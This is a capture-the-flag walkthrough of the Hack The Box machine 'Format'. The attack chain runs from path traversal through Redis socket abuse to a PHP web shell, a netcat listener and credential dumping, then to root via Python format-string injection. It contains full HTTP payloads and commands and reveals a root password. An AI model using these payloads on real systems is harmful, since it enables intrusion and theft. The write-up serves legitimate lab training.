Format - Hack The Box
Synopsis
Format is a medium linux engine featuring the microblog app. where we can make our own application. but this is a vulnerability for the system, the attacker is able to carry out an LFI attack to Remote Command Execution by making the attacker a pro user on the application’s microblog. in obtaining root privileges, we can take advantage of the SUID binaries license with a vulnerability in the format() function in python. By combining a third party redis application to create a new user. With this we can become root on the box format system.
Portscan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
| 256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_ 256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
3000/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 3000
Port 80 is Forbidden so next move is port 3000. I prefer to clone this repository to check the source code.
find another subdomain from index.html and added into hosts file.
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://app.microblog.htb'" />
</head>
<body>
</body>
</html>
Port 80
after add new subdomain, we able to access the pages. This time we can do register and use that creds to login.
after login we can make our apps and dont forget added domain in your hosts file too. example im gonna make apps using domain tester. And click Edit Site
on tag h1 we able to input our query, during the test i tried to check XSS vulnerability like image below.
detect path traversal vulnerabillity from edit request
POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1
id=../../../../../../../../etc/passwd&header=testeer
look at the source code on edit.php file, we can upload file if using pro version for microblog application.
edit.php file contain:
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
this function has created /uploads directory if its pro user, and if you notice there is redis socket like below:
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
from this article we can set our user to be pro user through redis socket with following command:
# HSET <key> <field> <value>
# double encoding
curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:tester%20pro%20true%20/abc"
ignore the error response, back to burpsuite and we can upload file
POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1
id=/var/www/microblog/tester/uploads/test.txt&header=rce
inject RCE and given name payload.php
POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1
id=/var/www/microblog/tester/uploads/payload.php&header=<?php+system($_GET['0']);?>
catch the shell using netcat with command :
rlwrap nc -lvnp 9000
uploaded a linpeas to gather more information inside target.
linpeas.sh result:
www-data 27839 0.0 0.4 211104 17044 ? S Jun25 0:03 _ php-fpm: pool www
#here
redis 604 0.1 0.3 65164 15348 ? Ssl Jun23 7:09 /usr/bin/redis-server 127.0.0.1:0
---------------------
root 607 0.0 0.0 5844 1708 tty1 Ss+ Jun23 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root 614 0.0 0.0 57136 1772 ? Ss Jun23 0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data 619 0.0 0.1 57548 5356 ? S Jun23 1:47 _ nginx: worker process
www-data 620 0.1 0.1 57704 5348 ? S Jun23 4:06 _ nginx: worker process
based on stackoverflow, we can connect to socket using redis-client
.
redis-cli -s /run/redis/redis.sock
Redis keys commands are used for managing keys in Redis.
We can use HGETALL
COMMAND based on this poc to dump all information on cooper.dooper
HGETALL cooper.dooper
from now we can logged in as cooper using ssh for stable shell.
Privilege Escalation
sudo -l will determining how to escalate into root user.
use strings command to check binary files
strings /usr/bin/license
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
i assume there is something that vulnerable function format()
like name for the box. Googling about that and lead me into this article and this article
vulnerability code example:
SECRET_VALUE = "passwd123"
class DirData:
def __init__(self):
self.name = "Work"
self.noOfFiles = 42
print("Directory {dirInfo.name} contains {dirInfo.noOfFiles} files".
format(dirInfo=DirData()))
how to exfiltrate the secret_value:
print("The secret is {dirInfo.__init__.__globals__[SECRET_VALUE]}".
format(dirInfo=DirData()))
try run license with tag -p which is username
cooper@format:/dev/shm$ sudo /usr/bin/license -p cooper
User does not exist. Please provide valid username.
output: username doesnt exist, it is possible to use redis again to extract a secret_encoded
. we can use HMSET command to Sets the specified fields to their respective values in the hash stored at key
.
Execute command below will get the password root user
HMSET bunnys first-name "{license.__init__.__globals__[secret_encoded]}" last-name bunnys username bunnys
then run again /usr/bin/licens -p bunnys
get the password, and switch into root user using su
command
unCR4ckaBL3Pa$$w0rd
Refferencess
https://redis.io/commands/hset/
https://www.invicti.com/blog/web-security/format-string-vulnerabilities/
https://redis.io/commands/keys/
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
https://exploit-notes.hdks.org/exploit/database/redis-pentesting/